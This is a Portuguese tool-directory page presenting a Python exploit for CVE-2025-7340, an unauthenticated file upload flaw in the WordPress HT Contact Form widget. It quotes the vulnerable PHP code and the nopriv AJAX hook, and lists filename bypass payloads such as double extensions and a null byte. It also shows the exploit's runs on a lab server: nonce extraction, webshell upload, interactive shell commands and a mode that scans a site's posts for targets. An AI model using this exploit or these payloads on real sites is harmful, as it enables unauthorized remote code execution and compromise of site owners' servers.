Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
WordPress-HT-Contact-CVE-2025-7340-RCE — Exploit em Python para CVE-2025-7340, uma vulnerabilidade de upload de arquivo não autenticado no widget HT Contact Form do WordPress, permitindo execução remota de código via implantação de webshell. | Kitploit
Ferramentas/GitHubGitHub/kai-one001/wordpress-ht-contact-cve-2025-7340-rce
Geração de PayloadsAnálise de VulnerabilidadesExploraçãoShellcodeExploração de Aplicações WebTestes de Penetração
GitHubkai-one001/wordpress-ht-contact-cve-2025-7340-rce

WordPress-HT-Contact-CVE-2025-7340-RCE

Exploit em Python para CVE-2025-7340, uma vulnerabilidade de upload de arquivo não autenticado no widget HT Contact Form do WordPress, permitindo execução remota de código via implantação de webshell.

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Ver Repositório
1há 1 anoAinda não revisado
Compartilhar

WordPress HT Contact Form Widget | CVE-2025-7340 Análise de Vulnerabilidade de Upload de Arquivos

Localização da Vulnerabilidade

Localização da vulnerabilidade: ht-contactform/admin/Includes/Services/FileManager.php Função crítica: temp_file_upload()

1. Ponto Principal da Vulnerabilidade: Função temp_file_upload

root@kitploit:~
#63行
public function temp_file_upload($file) {
  $destination = "{$this->dir}/temp";
  $this->maybe_create_directories($destination);
  // Validate file
  $validation = $this->validate($file);
  if (!$validation['valid']) {
​    wp_send_json_error($validation['message']);
​    return;
  }

  // Process the file
  $filename = $this->process_filename($file['name']);
  $file_path = "{$destination}/$filename";
  // Move file to temporary directory
  if (move_uploaded_file($file['tmp_name'], $file_path)) {
​    wp_send_json_success([
​      'file_id' => $filename,
​      'file_name' => $file['name'],
​      'file_size' => $file['size']
​    ]);
​    return;
  }
}

2. Ponto de Entrada da Vulnerabilidade: Processamento AJAX

Localização do arquivo: ht-contactform/admin/Includes/Ajax.php:

root@kitploit:~
#46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

Problema: Foi usado o hook wp_ajax_nopriv_, o que significa que usuários não autenticados também podem acessar a funcionalidade de upload de arquivos.

Análise da causa raiz:

  • Falta de validação de tipo de arquivo: Na função validate do FileManager.php, apenas são verificados erros de upload do PHP, sem nenhuma validação do tipo, extensão ou MIME do arquivo.
  • Configuração de tipo de arquivo não utilizada: O plugin define arquivos permitidos em Fields.php, mas isso é usado apenas para validação no front-end (atributo accept) durante a renderização do formulário, sem nenhuma validação no lado do servidor.
  • Processamento do nome do arquivo não é seguro o suficiente: sanitize_file_name() lida principalmente com caracteres especiais, mas não impede extensões perigosas; atacantes ainda podem enviar arquivos como .php, .php3, .phtml, etc.

3. Problemas de Controle de Acesso

root@kitploit:~
// Ajax.php 第46-47行
add_action('wp_ajax_ht_form_temp_file_upload', [$this, 'temp_file_upload']);
add_action('wp_ajax_nopriv_ht_form_temp_file_upload', [$this, 'temp_file_upload']);

Análise do problema:

  • Usuários não logados também podem acessar a funcionalidade de upload
  • Apenas depende de validação nonce, que pode ser contornada

Cenários de Ataque

  1. Ataque direto: O atacante pode enviar uma solicitação POST diretamente para /wp-admin/admin-ajax.php com action igual a ht_form_temp_file_upload

  2. Contorno da validação front-end: O front-end usa o atributo accept para restringir tipos de arquivo, mas o atacante pode facilmente contorná-lo

  3. Execução de arquivos: Arquivos PHP enviados podem ser executados pelo servidor web, levando à execução remota de código

1. Contorno por extensão dupla

root@kitploit:~
shell.php.jpg
shell.php.png
shell.php.gif

2. Contorno por variação de maiúsculas/minúsculas

root@kitploit:~
shell.PHP
shell.Php
shell.pHp

3. Injeção de byte nulo (se a configuração do servidor permitir)

root@kitploit:~
shell.php%00.jpg

4. Script Python

Observe que a URL só funciona se houver um artigo publicado com o plugin, então adicionei uma funcionalidade "script kiddie 02"


01 [Teste único] Exemplo:

root@kitploit:~
python RCE.py -u http://192.168.162.131:8081/2025/08/04/test-0-1/

Iniciando tentativa.......
Obtendo página alvo...
Extraindo parâmetros...
Nonce extraído: b05a39ff55
Endpoint AJAX: http://192.168.162.131:8081/wp-admin/admin-ajax.php
ID do formulário: 6
Gerando webshell...
Enviando shell, aguarde...

[+] Exploração bem-sucedida!

Endereço do webshell: wp-content/uploads/ht_form/temp/6890c4e6f389c-shell.php

[+] Entrando no modo interativo do shell, digite 'exit' para sair!
shell> id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
shell> exit
Saindo do modo interativo

02 [Teste por diretório raiz] Exemplo:

root@kitploit:~
python RCE.py -r http://192.168.162.131:8081
[*] Insira a data (padrão 20250804):
[*] Data utilizada: 20250804
[*] Escaneando data: 2025-08-04
[*] Endereço de scan: http://192.168.162.131:8081/2025/08/04/
[*] Artigo 2 encontrado: Test.0.1
[*] Artigo 3 encontrado: 8 月 4, 2025
[*] Artigo 6 encontrado: 世界,您好!
[*] Artigo 7 encontrado: 8 月 4, 2025
[*] Iniciando exploração...

[*] Explorando: http://192.168.162.131:8081/2025/08/04/test-0-1/
Iniciando tentativa.......
Obtendo página alvo...
Extraindo parâmetros...
Nonce extraído: b05a39ff55
Endpoint AJAX: http://192.168.162.131:8081/wp-admin/admin-ajax.php
ID do formulário: 6
Gerando webshell...
Enviando shell, aguarde...

[+] Exploração bem-sucedida!

Endereço do webshell: wp-content/uploads/ht_form/temp/6890c53ca8d5c-shell.php

[+] Entrando no modo interativo do shell, digite 'exit' para sair!
shell> whoami
www-data
shell> ls
68908c7a7f86d-shell.php
68908fdbba025-shell.php
6890917c70228-shell.php
6890919055905-shell.php
689094afb2f6e-shell.php
6890977a20a7c-shell.php
689097bf2dce9-Users.txt
6890c4e6f389c-shell.php
6890c53ca8d5c-shell.php
index.php
shell> exit
Saindo do modo interativo
Baixar ferramenta